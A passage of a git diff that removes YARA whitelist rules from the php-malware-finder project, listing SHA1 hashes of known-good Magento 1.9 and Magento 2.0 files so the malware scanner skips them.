"d6fdfc01c4644292bd08f73f19f2dc539536de2c" or // lib/Varien/Data/Form/Element/Multiline.php - hash.sha1(0, filesize) == "c7d2ea2c3bd0ba9854630e3e63a950765c14f1bf" or // lib/Varien/File/Uploader.php - hash.sha1(0, filesize) == "24dc54b5710bc353e5b3f493af8d3f18e99a2c3a" or // lib/Varien/Db/Tree.php - - /* Magento CE 1.9.2.0 */ - hash.sha1(0, filesize) == "f9cc4c1a62436372f245fdda6a0a37e7df4a9cdb" or // cron.php - hash.sha1(0, filesize) == "dd414df47f283a6db73cef174ab8e526512b64b8" or // lib/Zend/Tool/Project/Provider/Test.php - hash.sha1(0, filesize) == "b8519e3973a2a0504942f31f905f7a6e9c533f63" or // lib/Zend/Validate/File/MimeType.php - hash.sha1(0, filesize) == "89765ac6cbadcd08f693cd9f7557e42d90380313" or // lib/Zend/Locale/Format.php - hash.sha1(0, filesize) == "72517e19f04eda76e203868603b3b5132d4ef9d7" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "dbc4bbfaecf84eeb4bf5c99c3e359bbbf32803be" or // lib/Zend/Soap/Client.php - hash.sha1(0, filesize) == "b3f0a13af9d17e7ced224584c6447505586fdd1a" or // lib/Zend/Serializer/Adapter/PhpCode.php - hash.sha1(0, filesize) == "a391b6abaf40851177c2a634c894a44a0fdcbd2d" or // lib/Zend/Amf/Server.php - hash.sha1(0, filesize) == "227da1e56588f1d2c02ab5dd81784f1d38a5be5d" or // lib/Zend/Date/DateObject.php - - /* Magento CE 1.9.2.1 */ - - /* Magento CE 1.9.2.2 */ - hash.sha1(0, filesize) == "9283d2576949b018bcc38dd35c28e4bf2d609db1" or // cron.php - hash.sha1(0, filesize) == "66503bf10b6b58265728cc6e9b6d564bf5149bf2" or // lib/Zend/Session.php - hash.sha1(0, filesize) == "0bab49baadf98015bfea963e0d9ae5944bec1233" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "b58925a24d9201f4efbc0f59782b2b99367ec006" or // lib/Zend/Amf/Server.php - hash.sha1(0, filesize) == "7c00d311a20e650dccf8dff9d2eb346077ff91eb" or // lib/Zend/Date/DateObject.php - - /* Magento CE 1.9.2.3 */ - hash.sha1(0, filesize) == "19dbc4997004bb618bcc7b1e76b572424c7c93d1" or // cron.php - hash.sha1(0, filesize) == "0989b6d28e5238a966d6333299750251f6621cf4" or // app/code/core/Mage/ImportExport/Model/Import/Uploader.php - hash.sha1(0, filesize) == "3d8a99b05b05488ad1c89c249712dc1e45e9d1be" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Customer.php - hash.sha1(0, filesize) == "2510ea6f36a7824721ef930bd3b34cb19b5a623a" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Product/Type/Abstract.php - hash.sha1(0, filesize) == "61c48e91b39b227207d857276ad43208a517f31a" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "e25d06c0cae8b8e5992b28014d7e1de33b97ab3b" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "531a0be26ca6b9444ab714983fe9727826f9a1bd" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "91a98939132e7b67dd9c5d9d1aa7278cc9356922" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "3173f1e7f8889b01bccf4b64ea98e8e9ea212883" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "7229c6ac1a40b4e97e1ff0274a85b33ae3a3ae56" or // app/design/frontend/default/iphone/template/catalog/product/view/media.phtml - hash.sha1(0, filesize) == "6e6978736bd02faf3350f54fd0711abda85995af" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "2ade0c0fe3ba96238bcc8d9e486316ebebbc543d" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - hash.sha1(0, filesize) == "06412e5959c3d322cf0702cd2533d6e89cc64b1e" or // lib/Magento/Autoload/Simple.php - hash.sha1(0, filesize) == "1c7302f33d227f8bbb8e7dba6f45cacfa353a1e0" or // lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "f60b8ccc6af994fcb5390858d913c6894daf8d6a" or // lib/Varien/Pear.php - hash.sha1(0, filesize) == "e67dbb73a945ced9ca3b139b4bb9634d49890494" or // lib/Varien/Autoload.php - hash.sha1(0, filesize) == "a3b95117cb53b32f15933a323d0caecb28ba8f59" or // lib/Varien/Data/Form/Element/Gallery.php - hash.sha1(0, filesize) == "eddcb2ed2b259b3bc0819316a3f82e8e765010e3" or // lib/Varien/Data/Form/Element/Multiline.php - hash.sha1(0, filesize) == "c0db9c81f156724e5b34ce33bf584d7af6d9ec0b" or // lib/Varien/File/Uploader.php - hash.sha1(0, filesize) == "4bf65c05b7f31d0b068a9586b3384f37818e83ba" or // lib/Varien/Db/Tree.php - - /* Magento CE 1.9.2.4 */ - hash.sha1(0, filesize) == "1b93c2a04a83e7577623ee4af05c428819cb7c16" or // lib/Varien/File/Uploader.php - - /* Magento CE 1.9.3.0 */ - hash.sha1(0, filesize) == "3f1c255821b6a821dabca2dc02bd0d88ce19a2b2" or // cron.php - hash.sha1(0, filesize) == "6e9a284038a3e121052e5ff3b69d580dc3dbd387" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "b2e8d4ed802a50d96711e73db12ef9e6225fd6ce" or // lib/Varien/Autoload.php - - /* Magento CE 1.9.3.1 */ - - /* Magento CE 1.9.3.2 */ - hash.sha1(0, filesize) == "a5f4b3b79113406a25803258e67955ecaef58f96" or // cron.php - hash.sha1(0, filesize) == "b59a9f79f93104dd0f2086ecb41b121ca83c49c5" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "10396708b76cffb8e5ec478e138668fe7f7fb08e" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "c3cc023db136ab16195a00821c28def911e5aa22" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "0c5c35de2e11051a72842dec7fa77279076c7107" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "6da6474df8515b58505301368d64b054a973be87" or // app/design/frontend/default/iphone/template/catalog/product/view/media.phtml - hash.sha1(0, filesize) == "db22a8c5bac3dfecfd67be8cbb856256ce005e03" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "c78c97ee710b3ece67398146c337593d208b763a" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - hash.sha1(0, filesize) == "c395f8c60434160d0a4fdca0a9981eb4c6a13021" or // lib/Magento/Autoload/Simple.php - hash.sha1(0, filesize) == "9163281f49361481293a54155b48a18f502679ea" or // lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "6c577b685ed6a73c08abaabef945070c722e14f9" or // lib/Varien/Pear.php - hash.sha1(0, filesize) == "5d7e38bd1345fa0afc6e0c1f2eec085d556da06a" or // lib/Varien/Autoload.php - hash.sha1(0, filesize) == "cd52d865f0d58fe0fa993b3aaa134ed86b4ddd87" or // lib/Varien/Data/Form/Element/Gallery.php - hash.sha1(0, filesize) == "a80a3a304b0abd1732e704ccc3b8f4816605052b" or // lib/Varien/Data/Form/Element/Multiline.php - hash.sha1(0, filesize) == "c1cbd9d692c66deed9c4419c6c78491292aec5a0" or // lib/Varien/Db/Tree.php - - /* Magento CE 1.9.3.3 */ - - /* Magento CE 1.9.3.4 */ - - /* Magento CE 1.9.3.6 */ - hash.sha1(0, filesize) == "45ffcf03c297d29169d2fd00790ff8eb83ef5fec" or // app/code/core/Zend/Serializer/Adapter/PhpCode.php - hash.sha1(0, filesize) == "294d413697f3461aa1b20dab404040eb483cec95" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - - /* Magento CE 1.9.3.7 */ - - /* Magento CE 1.9.3.8 */ - hash.sha1(0, filesize) == "fb7414b830abc653d624019a18689d4dd69d7f90" or // cron.php - hash.sha1(0, filesize) == "06f0a6333273222b5e39b7e9e8c5e3ef764d639b" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "8bb1ce05c51baff0b8fe24c4320e22fcd18bbc47" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "b4aab58ed7efbe7aa809c1aae2fe90494a3d403e" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "28f900ea871d38dfdb5347f1c9861a7621825a2d" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "7d84d41fee5ec9e6825654a1ef4ea785bb1eda29" or // app/design/frontend/default/iphone/template/catalog/product/view/media.phtml - hash.sha1(0, filesize) == "7ae589b2fa62b74e0075da5c5c3cba8282df7c4c" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "fd489abda5b880c3c24fd48f7f8388917a119c19" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - hash.sha1(0, filesize) == "ca8a29edddc5deccc47e95da68a20d557abd7621" or // lib/Magento/Autoload/Simple.php - hash.sha1(0, filesize) == "7035f2cfad6f0936bd5c533fa26379440484c82c" or // lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "79ee56a5b2a661467cf0b90060e98085a94bcd91" or // lib/Varien/Pear.php - hash.sha1(0, filesize) == "b6abca064319d3f94430b0545e5d2e1eec4e1ea7" or // lib/Varien/Autoload.php - hash.sha1(0, filesize) == "476d8b4554f8bf9cfe6d77c056eaf201eee1348a" or // lib/Varien/Data/Form/Element/Gallery.php - hash.sha1(0, filesize) == "78694d3161b6dee34635eaf3dda65259d0045443" or // lib/Varien/Data/Form/Element/Multiline.php - hash.sha1(0, filesize) == "14551c7936764a457729f2ceba437f6c4e829fbd" or // lib/Varien/Db/Tree.php - - /* Magento CE 1.9.3.9 */ - hash.sha1(0, filesize) == "b6b6747a3d7f3f54e150fbfc0ae9f22068276f57" or // cron.php - - false -} diff --git a/php-malware-finder/whitelists/magento2.yar b/php-malware-finder/whitelists/magento2.yar deleted file mode 100644 index c942fae..0000000 --- a/php-malware-finder/whitelists/magento2.yar +++ /dev/null @@ -1,563 +0,0 @@ -private rule Magento2 : ECommerce -{ - condition: - /* Magento2 2.0.0 */ - hash.sha1(0, filesize) == "cd1002f845b67164d3cda344124f1f7d9d22019e" or // app/code/Magento/Backend/Model/Url.php - hash.sha1(0, filesize) == "d4ec772ebaa46f66f7ee12d31258bece6a1a416d" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/samples.phtml - hash.sha1(0, filesize) == "8145a57a795ba1a377fdd9ea6bb55174d17239ba" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "2d9966b5c02e42eedd670f12fff2d92969973eae" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "75f7eee0f3d16e2b415bb2866b22df71d209c38b" or // dev/tests/js/JsTestDriver/run_js_tests.php - hash.sha1(0, filesize) == "ade287d950958ff32c35d8243139bd3605fe992b" or // dev/tests/api-functional/framework/bootstrap.php - hash.sha1(0, filesize) == "a3eaabc2edf427e480b62029b89d61643a0c19fa" or // dev/tests/integration/framework/bootstrap.php - hash.sha1(0, filesize) == "690cfdb0e5273fa0ec92463ba1356b84edeb2359" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "dcc5b6e3b86d741dd55eb9e0b8c337157eedd6e8" or // dev/tests/static/testsuite/Magento/Test/Legacy/ObsoleteCodeTest.php - hash.sha1(0, filesize) == "81bacb155d372b44c86205af20156ddfb59efab9" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "5b286341ce1c6ff499e6a1c195355bb5de123cd9" or // dev/tests/static/testsuite/Magento/Test/Integrity/DependencyTest.php - hash.sha1(0, filesize) == "97a69099eb1def6f1c3024e0ad7ff8051deb0a13" or // lib/web/tiny_mce/tiny_mce_jquery_src.js - hash.sha1(0, filesize) == "477d7865ac4f9d0746a239bfb27e399a990dd49b" or // lib/web/tiny_mce/tiny_mce_prototype_src.js - hash.sha1(0, filesize) == "e11ba669cf8d4e4dd657ce12dce82cd3fd0515e2" or // lib/web/tiny_mce/tiny_mce_src.js - hash.sha1(0, filesize) == "664fa0e4fa71b881e313cd0ee10ef39cd2d58e65" or // lib/internal/Magento/Framework/Shell.php - hash.sha1(0, filesize) == "093bb21d65d7828c182d4b1e6cfee6eb02847aff" or // lib/internal/Magento/Framework/View/Design/Theme/Validator.php - hash.sha1(0, filesize) == "a76a56301cf6916e4435805c758faf1265548261" or // lib/internal/Magento/Framework/View/Model/Layout/Merge.php - hash.sha1(0, filesize) == "72ec17234a61986a36c8f10dbc5f95999896057a" or // lib/internal/Magento/Framework/Filter/Test/Unit/TranslitTest.php - hash.sha1(0, filesize) == "f0c3ea5c50c763aec35ee7db0e27e9cad7eff01e" or // lib/internal/Magento/Framework/Api/Code/Generator/ExtensionAttributesGenerator.php - hash.sha1(0, filesize) == "313d2394605796c06a935527499280173124fb6b" or // lib/internal/Magento/Framework/Validator/Constraint/Option/Callback.php - hash.sha1(0, filesize) == "2421888cd70ba01de6320072d35a101110945455" or // setup/src/Magento/Setup/Module/I18n/Dictionary/Phrase.php - hash.sha1(0, filesize) == "0a0ae6ff41e93076c78781509ff2151d5b799a6a" or // vendor/zendframework/zend-config/src/Reader/Json.php - hash.sha1(0, filesize) == "62e0f4887818cb01fb3dd7f2dcc1dac74742fcb1" or // vendor/zendframework/zend-config/src/Reader/Yaml.php - hash.sha1(0, filesize) == "b163b6e8d6700dcca6451c5c452ea5c1bbd687e4" or // vendor/zendframework/zend-config/src/Reader/Ini.php - hash.sha1(0, filesize) == "502966548aa12798e152637e253ddbd06b9544fa" or // vendor/zendframework/zend-config/src/Reader/JavaProperties.php - hash.sha1(0, filesize) == "1184cdbe3ac63e2aadbd826f2146a085f9ca2094" or // vendor/zendframework/zend-i18n/src/Validator/IsFloat.php - hash.sha1(0, filesize) == "b0af434ee995d7e49ec49098313d1b0de6e73c04" or // vendor/zendframework/zend-view/src/Helper/Navigation/AbstractHelper.php - hash.sha1(0, filesize) == "b5a4b8248d608a4b1529e5953aaa573b0f22fb2c" or // vendor/zendframework/zend-serializer/src/Adapter/PhpCode.php - hash.sha1(0, filesize) == "8c6ada59a4fef5b955a181b57352ac777d8414fc" or // vendor/zendframework/zend-validator/src/File/MimeType.php - hash.sha1(0, filesize) == "000e0740938ef378705e751d8944b3c0ec3bdd9a" or // vendor/zendframework/zend-soap/src/Client.php - hash.sha1(0, filesize) == "32266eb7343a11f4e7f8bd624a3ea6fc73628a58" or // vendor/oyejorge/less.php/lib/Less/Tree/Unit.php - hash.sha1(0, filesize) == "3e4f63564a1d258b0a5723dbb81f1733c619cbcd" or // vendor/oyejorge/less.php/lib/Less/Tree/Dimension.php - hash.sha1(0, filesize) == "06ce307f197a9d31a553b002183d073115ff803e" or // vendor/tubalmartin/cssmin/cssmin.php - hash.sha1(0, filesize) == "f152f31d6f97f24d227cd51347d583c144bf167d" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH2.php - hash.sha1(0, filesize) == "9182cd008814b95a86c5c9d318734330617c92e5" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH1.php - hash.sha1(0, filesize) == "c02e4456afe25282720295660e52ee5f3f32b328" or // vendor/monolog/monolog/src/Monolog/Formatter/LineFormatter.php - hash.sha1(0, filesize) == "172be2895cb70436fc146e7564966dce4f96e08a" or // vendor/symfony/console/Symfony/Component/Console/Application.php - hash.sha1(0, filesize) == "a1b4f3d95eb18abd284aadd40097462838143a8e" or // vendor/symfony/console/Symfony/Component/Console/Tests/Helper/LegacyProgressHelperTest.php - hash.sha1(0, filesize) == "3d32ace32fa8e80189192ea1d0853b8224fcae7a" or // vendor/symfony/console/Symfony/Component/Console/Tests/Helper/ProgressBarTest.php - hash.sha1(0, filesize) == "725a80e1da25907af517807f62e25fc76fd7cf65" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "abe477d884c40043013e4b08501acff5351b5539" or // vendor/symfony/process/Tests/ExecutableFinderTest.php - hash.sha1(0, filesize) == "a3b7be20d89f5d8e37024c118cbbc8492688ec03" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "a9d0c26df1fc39e7e8be5bfa51051b412c5f7403" or // vendor/squizlabs/php_codesniffer/CodeSniffer.php - hash.sha1(0, filesize) == "76f1af35b350e0e8d1ac6d288c01d35572e3ee4a" or // vendor/squizlabs/php_codesniffer/CodeSniffer/Reports/Emacs.php - hash.sha1(0, filesize) == "e2f190b4a5013d53449517377e1fe0dacd6e8ec6" or // vendor/squizlabs/php_codesniffer/scripts/phpcs - hash.sha1(0, filesize) == "f2672f96d0143bbfe3a98fa95859df401a6eff76" or // vendor/seld/jsonlint/bin/jsonlint - hash.sha1(0, filesize) == "057f48d63e8a02d6c83a9eb5bba81b087db79f51" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tokenizer/Transformer/DynamicVarBrace.php - hash.sha1(0, filesize) == "bac1ed101e3c7880145c9ce6cf908b179b57e9c7" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocShortDescriptionFixer.php - hash.sha1(0, filesize) == "1320c4b30065e82d2c9ed373a7a3975fc5c36416" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Tokenizer/TokensTest.php - hash.sha1(0, filesize) == "1378de5151bda1f9e00b101d140ad2ca17660ba7" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Tokenizer/Transformer/DynamicVarBraceTest.php - hash.sha1(0, filesize) == "f4aae1c84c801b8910c31c7d9167a232333444c1" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/BracesFixerTest.php - hash.sha1(0, filesize) == "f6d440287bdcd1d5198a3e5c12c11cc2900cc611" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NewWithBracesFixerTest.php - hash.sha1(0, filesize) == "4fe50dc31b47006753a33f114314132f452ecea8" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/TrimArraySpacesFixerTest.php - hash.sha1(0, filesize) == "a2348096bec192beac0c0ab29ead03526b5d3009" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PreIncrementFixerTest.php - hash.sha1(0, filesize) == "289ae53f03114fdf9cf561f61dab5993f5f24098" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/JoinFunctionFixerTest.php - hash.sha1(0, filesize) == "ad1a6ff2c74fd6a23ee431e6231aa834fc33bb0a" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/PhpUnitStrictFixerTest.php - hash.sha1(0, filesize) == "ee168846484382604d4cd4cf2e9518a1ede818a8" or // vendor/magento/zendframework1/library/Zend/Session.php - hash.sha1(0, filesize) == "b56421a26a863d08d4e18f69df234193ff351990" or // vendor/magento/zendframework1/library/Zend/Tool/Project/Provider/Test.php - hash.sha1(0, filesize) == "86fe4608ce0b8c6a2250d485367a5f3521c6719b" or // vendor/magento/zendframework1/library/Zend/Locale/Format.php - hash.sha1(0, filesize) == "17a96b1806cf7b20fde6f2fefc0100f0b104f3af" or // vendor/magento/zendframework1/library/Zend/Amf/Server.php - hash.sha1(0, filesize) == "68e59449682a298d61609310d35205d5a3f789e6" or // vendor/magento/zendframework1/library/Zend/Date/DateObject.php - hash.sha1(0, filesize) == "d01269880c68befd36f0edd8857b6b1d05965f20" or // vendor/magento/zendframework1/resources/languages/ja/Zend_Validate.php - hash.sha1(0, filesize) == "82485c8d519d5b9947a37fffea10839db45c0fc9" or // vendor/magento/zendframework1/resources/languages/sk/Zend_Validate.php - hash.sha1(0, filesize) == "4f16e01f1d672fa79fed63829dabac27fc56afca" or // vendor/magento/zendframework1/resources/languages/uk/Zend_Validate.php - hash.sha1(0, filesize) == "bc6be8a711dd231d337b2bfb1dc6ea133f084055" or // vendor/magento/zendframework1/resources/languages/pt_BR/Zend_Validate.php - hash.sha1(0, filesize) == "6e439473653593eb82620d898446349e2f39d941" or // vendor/magento/zendframework1/resources/languages/es/Zend_Validate.php - hash.sha1(0, filesize) == "8e3726607b9b1e6dd2f6206ce6abd6e9733a3fff" or // vendor/magento/zendframework1/resources/languages/ru/Zend_Validate.php - hash.sha1(0, filesize) == "838921b7c6897052e0472eeae4f1ea49da29c99d" or // vendor/magento/zendframework1/resources/languages/cs/Zend_Validate.php - hash.sha1(0, filesize) == "3ce2c232924e5d44ea207f7636e65151f4bd4044" or // vendor/composer/composer/src/Composer/Util/Git.php - hash.sha1(0, filesize) == "8050fbdd2f773e765a0c9148a8fee12a15eae74d" or // vendor/composer/composer/src/Composer/Command/ConfigCommand.php - hash.sha1(0, filesize) == "bd10a894c29ab5e64bae971ce159c00937a7efed" or // vendor/pdepend/pdepend/src/bin/pdepend - hash.sha1(0, filesize) == "f2672f96d0143bbfe3a98fa95859df401a6eff76" or // vendor/bin/jsonlint - hash.sha1(0, filesize) == "e2f190b4a5013d53449517377e1fe0dacd6e8ec6" or // vendor/bin/phpcs - hash.sha1(0, filesize) == "bd10a894c29ab5e64bae971ce159c00937a7efed" or // vendor/bin/pdepend - hash.sha1(0, filesize) == "ccc9ec282ac5acb1ed551a5fa9dcb63527841750" or // vendor/bin/phpmd - hash.sha1(0, filesize) == "6ccac6cef15b10b993da3117f6033b5a29bc738f" or // vendor/phpunit/phpunit/src/Framework/TestCase.php - hash.sha1(0, filesize) == "ccc9ec282ac5acb1ed551a5fa9dcb63527841750" or // vendor/phpmd/phpmd/src/bin/phpmd - - /* Magento2 2.0.1 */ - hash.sha1(0, filesize) == "add333a8137ccbb305ecf60c3e55e28768c0f237" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "8abc8a07ab38ad2da15c2061c816ff638f0e0f95" or // setup/src/Magento/Setup/Module/I18n/Dictionary/Phrase.php - hash.sha1(0, filesize) == "bb3d5b5058774b99326162a971064e770c1d400a" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "e11d7e94c9046166ced9717f1730df4f538358b2" or // vendor/symfony/process/Tests/ExecutableFinderTest.php - hash.sha1(0, filesize) == "3ee3d886ac2431ce94b3d9863754b22eb59f10d5" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "696f1493509991c965fb042b9a80f72974023b8c" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - hash.sha1(0, filesize) == "368d7d21730e6d765c32ff201851db00b354ae51" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocShortDescriptionFixer.php - hash.sha1(0, filesize) == "0d1fccb67a37a28e258bd0697b99c225ee95fc51" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Tokenizer/TokensTest.php - hash.sha1(0, filesize) == "c51e1406b80f46f270901d0b02ea381ad709b95e" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/BracesFixerTest.php - hash.sha1(0, filesize) == "4cfae7375a5a512354d644cc4d2a2fb590077dd3" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/UnneededControlParenthesesFixerTest.php - hash.sha1(0, filesize) == "a34bb133f5f3b5bc332078dae3cf0b667a25c2ba" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ArrayElementWhiteSpaceAfterCommaFixerTest.php - hash.sha1(0, filesize) == "11b2a61513faf81855fb2634fce23697618923c1" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ArrayElementNoSpaceBeforeCommaFixerTest.php - hash.sha1(0, filesize) == "09fa34dd77324cf97b547387a896f0ddc993385a" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NewWithBracesFixerTest.php - hash.sha1(0, filesize) == "da8346240d2012a694fa17a56c752e7211caafbf" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/TrimArraySpacesFixerTest.php - hash.sha1(0, filesize) == "e69fd602a11eaf6f93a2928e9149ef25452f2643" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ShortBoolCastFixerTest.php - hash.sha1(0, filesize) == "2a88325ec2919a393b0d13e2bd8a39aed38d089c" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/PhpUnitStrictFixerTest.php - hash.sha1(0, filesize) == "d0734194883ed7cbea57e363fecaeeb6d8d00e69" or // vendor/pdepend/pdepend/src/bin/pdepend - hash.sha1(0, filesize) == "d0734194883ed7cbea57e363fecaeeb6d8d00e69" or // vendor/bin/pdepend - - /* Magento2 2.0.2 */ - hash.sha1(0, filesize) == "233f56fc60f40597126ac6da5a255ed2da65fa20" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/UnneededControlParenthesesFixerTest.php - hash.sha1(0, filesize) == "0a5d3ab4932430db2bcd5897a94a837f2b5d4a62" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NewWithBracesFixerTest.php - - /* Magento2 2.0.3 */ - hash.sha1(0, filesize) == "f3fd57943825e6195963c1ebbbc73744cc997ca3" or // app/code/Magento/Backend/Model/Url.php - hash.sha1(0, filesize) == "cb814a8f56085e7238010cc3c743cb6fa9249bb6" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/samples.phtml - hash.sha1(0, filesize) == "19822e59997bc8ba37d4ee8fd4a9c8cd7a1a88a1" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "fcdadb38653801c605180fa7bc3da5ffe7a78108" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "381606c98428f5f1f1688861b9bb5b86573882ae" or // dev/tests/js/JsTestDriver/run_js_tests.php - hash.sha1(0, filesize) == "fffb094a2d2f8f4e0f2f1ece46839055c3e5bcdd" or // dev/tests/api-functional/framework/bootstrap.php - hash.sha1(0, filesize) == "6b1207354e632ed5ff9d997673b1b8b7491e4830" or // dev/tests/integration/framework/bootstrap.php - hash.sha1(0, filesize) == "073be1c00c938479a0daa737e8a2db25c051b33f" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "a04c54d0bdd22c2033cc50a06866845763b18b51" or // dev/tests/static/testsuite/Magento/Test/Legacy/ObsoleteCodeTest.php - hash.sha1(0, filesize) == "571c65fda0b3baea7206430a87cbfcbba45e8f26" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "892b8581b6f16d00ed67bbbe6647eac9ed5047a3" or // dev/tests/static/testsuite/Magento/Test/Integrity/DependencyTest.php - hash.sha1(0, filesize) == "a46cd4176871076df0e7d9edd4d469cdc5414833" or // lib/internal/Magento/Framework/Shell.php - hash.sha1(0, filesize) == "dbbf248c80845164bfee1165820a32b8f855b1fd" or // lib/internal/Magento/Framework/View/Design/Theme/Validator.php - hash.sha1(0, filesize) == "448a05674ff22088e7e7944224d78dd958836169" or // lib/internal/Magento/Framework/View/Model/Layout/Merge.php - hash.sha1(0, filesize) == "d1f98d5d8f6c883fa76605b7e50efddb6b73a40d" or // lib/internal/Magento/Framework/Filter/Test/Unit/TranslitTest.php - hash.sha1(0, filesize) == "0bcbc44d143cba85713ffd3d6638294accb3cdba" or // lib/internal/Magento/Framework/Api/Code/Generator/ExtensionAttributesGenerator.php - hash.sha1(0, filesize) == "ed5b0a09cefc83fedad57a7c79cd35f261c90e2b" or // lib/internal/Magento/Framework/Validator/Constraint/Option/Callback.php - hash.sha1(0, filesize) == "f3134582915a58e81289505201db72e55981a787" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "e1ef41c3d01cb1ada488ff1509beff743f5b0d86" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "11464980c1753f0169ba1d5d90d1f347604fe36d" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - hash.sha1(0, filesize) == "a42a7f37f5e84cd11e0359f22d89ea486e3be903" or // vendor/sebastian/environment/src/Console.php - - /* Magento2 2.0.4 */ - - /* Magento2 2.0.5 */ - - /* Magento2 2.0.6 */ - hash.sha1(0, filesize) == "75f761fcdd8675aee7d190e31031be5912cd82c0" or // vendor/symfony/process/Process.php - - /* Magento2 2.0.7 */ - hash.sha1(0, filesize) == "50729d6c9165838ca734cd8286cdf6fe118ed533" or // vendor/sebastian/environment/src/Console.php - - /* Magento2 2.0.8 */ - hash.sha1(0, filesize) == "e1328d0b46579ef478a04d1e26e17b70c905052d" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "2f54337e672d3c5be8860cbe7b0e168bc0712a68" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "fdce42474a273767544ca7f6523f5fa746ee2986" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Tokenizer/TokensTest.php - hash.sha1(0, filesize) == "e4446c8664ba8e523afe6276ff3d74c2464fc196" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Tokenizer/Transformer/DynamicVarBraceTest.php - hash.sha1(0, filesize) == 